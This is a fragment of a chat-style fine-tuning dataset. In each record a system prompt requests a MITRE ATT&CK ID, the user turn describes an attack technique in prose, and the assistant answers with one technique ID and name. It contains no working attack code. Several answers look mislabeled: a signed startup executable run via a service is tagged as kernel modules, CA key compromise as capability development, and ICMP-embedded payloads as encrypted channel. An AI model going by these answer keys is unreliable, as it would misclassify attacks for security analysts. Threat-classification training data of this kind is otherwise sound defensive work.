                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes a fileless malware attack, storing malicious code in the registry or memory rather than on disk, making detection more difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the odbcconf system binary, the attacker proxies execution of a payload through the ODBC driver installation process."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker writes a compromised UEFI module to the firmware flash memory, enabling code execution during the boot process."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware drops a batch file that runs 'nircmd.exe savescreenshot' to take a screenshot of the workstation before encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software compromises the KernelCallbackTable by overwriting function pointers, enabling execution of arbitrary kernel-mode code."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs Mimikatz to dump credentials from the LSASS process memory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing SMS messages containing short URLs are sent to employees; clicking the link triggers the execution of a credential‑stealing trojan."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a valid compromised cloud service account to create new user accounts and persist in the environment."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers accessed a public SharePoint folder and exfiltrated employee payroll data."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set compromises a certificate authority's signing key and issues malicious certificates for internal tools."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts AS‑REP data from Active Directory for accounts without pre‑auth, storing the encrypted tickets for later password cracking attempts."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique employs Office Test to bypass application whitelisting, executing a payload during Office initialization."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encodes a cryptographic key within the color palette of an image file that is uploaded to a cloud storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates a phone call pretending to be a recruiter, and during the conversation extracts personal identifiers and login information from the candidate."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a tool that scans local file systems for .pfx files, extracts the certificates, and uses them to sign further payloads."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a single point of entry, lateral movement is conducted via a combination of social engineering tactics and exploitation of known vulnerabilities in software packages."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was inserted into a firmware update for IoT devices by compromising the manufacturer's update signing infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a compromised Office 365 account and uses the Graph API to harvest mailbox messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious macro in a Microsoft Office document, the attacker runs a VBS script that activates the webcam and records a short video clip."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised news aggregator serves a malicious script that installs a cryptominer on visitor machines."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a YouTube channel masquerading as an official product tutorial series, embedding hidden malicious payloads in video descriptions."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set breaks up a 5 MB archive into 250 KB segments, uploading each separately to stay below the per‑request limit."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits comment sections of high‑traffic news sites to add SEO‑poisoned links that rank for medical queries, redirecting users to a fake pharmacy site."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers on the Red Team build a proof‑of‑concept exploit for a recently patched client‑side vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects malicious code into a legitimate installer and re-signs it with a stolen code signing certificate to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan embeds a compressed JavaScript payload within the comments of a legitimate HTML file, decrypting it at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaced the default IIS application pool identity with a privileged account to gain system access."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion removes stored network connection entries and clears persistent network configuration data to cover tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a PowerShell command to purge the system's network connection history and erase related configuration entries."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a rootkit to hook DLLs and mask its presence from security tools."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group extracts recent document revisions from Microsoft Office temporary directories on the victim's workstation."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs \"wevtutil qe Application\" to enumerate application logs for potential clues about installed software."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom network filter driver is used to selectively forward traffic from specific IP ranges to a rogue proxy server for data collection."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ dynamic API resolution to call NetUserAdd and NetUserModalsGet after the payload is in memory, concealing API usage."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A signed malicious executable is placed in the Windows System32 folder and scheduled via a service to run at startup."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary emails targeted recipients a malicious link to a fake website that captures login credentials, leveraging a spearphishing service."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary places a malicious Excel workbook in the startup folder, causing the malicious code to run each time Office starts."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware disables the logging agent on Linux VMs in the cloud, preventing syslog and cloud audit logs from being generated."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the macOS Keychain to retrieve stored user passwords and token keys."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module gathers information about available Wi‑Fi networks and their encryption types."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By overwriting entries in the VDSO, the adversary achieves code execution within another process's address space."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Scanning SSL/TLS certificates across domains to find weak encryption settings or expired certificates."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors replace a compromised GCP Compute Engine instance with a prior backup snapshot to undo any forensic traces."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware embeds large blocks of random binary data in its executable, inflating its size and obscuring the true malicious sections."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a malicious DLL on the victim machine by invoking regsvr32.exe with a UNC path to a remote server, bypassing AppLocker restrictions."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the com.apple.loginwindow.plist file with a crafted version that disables the password requirement after sleep, allowing unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the Windows Admin Shares (ADMIN$) to deploy a malicious service on multiple machines."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged an SNMP scanner to enumerate all OIDs and export them for analysis."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the COM interface, the attacker causes a malicious DLL to be loaded into the explorer.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor changed the extension of a PowerShell script from .ps1 to .docx, tricking users into double‑clicking it."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copied the user’s personal authentication certificate from the %APPDATA%\\Microsoft\\Crypto\\RSA folder and used it to impersonate the user on the internal network."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes malicious JavaScript by embedding it in an MMC snap‑in and launching the MMC binary to proxy the execution."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed encrypted payloads in ICMP echo requests to maintain command and control."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages schtasks.exe to add a new task that executes a hidden executable with SYSTEM privileges on boot."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses schtasks.exe to schedule a recurring data exfiltration task that runs when the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the malware reassigns its parent process ID to that of a commonly used utility, obscuring the true origin of the process."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into the system's UEFI NVRAM variables, enabling code execution prior to OS boot."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command-line arguments are split across multiple processes to evade command-line monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group creates a new trust link in Active Directory to a shadow domain under their control."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a firmware downgrade attack to replace the trusted firmware with a vulnerable version that can be exploited for persistence."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors upload harvested data to an AWS S3 bucket linked to an external account."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor modifies existing user accounts by adding them to the Domain Admins group or other sensitive groups, what technique is being used here?"
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder gathers victim identity data by pulling the employee name field from the company’s HRIS database."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leads victims to run a PowerShell script that reads stored Outlook passwords from the credential store."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the file association for .html files to a rogue browser executable, the attacker ensures their malware runs whenever a web page is viewed."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised user credentials were used to enumerate and download files from a Google Drive folder, which were then sent to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a custom XOR routine to obfuscate the command line before invoking a shell."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compiled and ran a .NET script that enumerated Active Directory objects."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a customized DOCX attachment in a phishing email, leveraging embedded VBA to drop a credential-stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious group infiltrates a Certificate Authority and issues fraudulent code signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Windows API calls to programmatically delete the Mark‑of‑the‑Web alternate data stream from a payload before it is executed."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor configures WinRM listeners and uses CredSSP authentication to gain remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware changes the Windows power plan to never sleep, ensuring continuous operation."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs a directory scan with 'Get-ADGroup -Filter *' to gather domain group information."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan uses the API call QueryPerformanceCounter to infer the system time and detect anti-forensic time-skew mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a misconfigured code signing policy in a CI/CD pipeline to inject malicious code into a legitimate signed update package."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
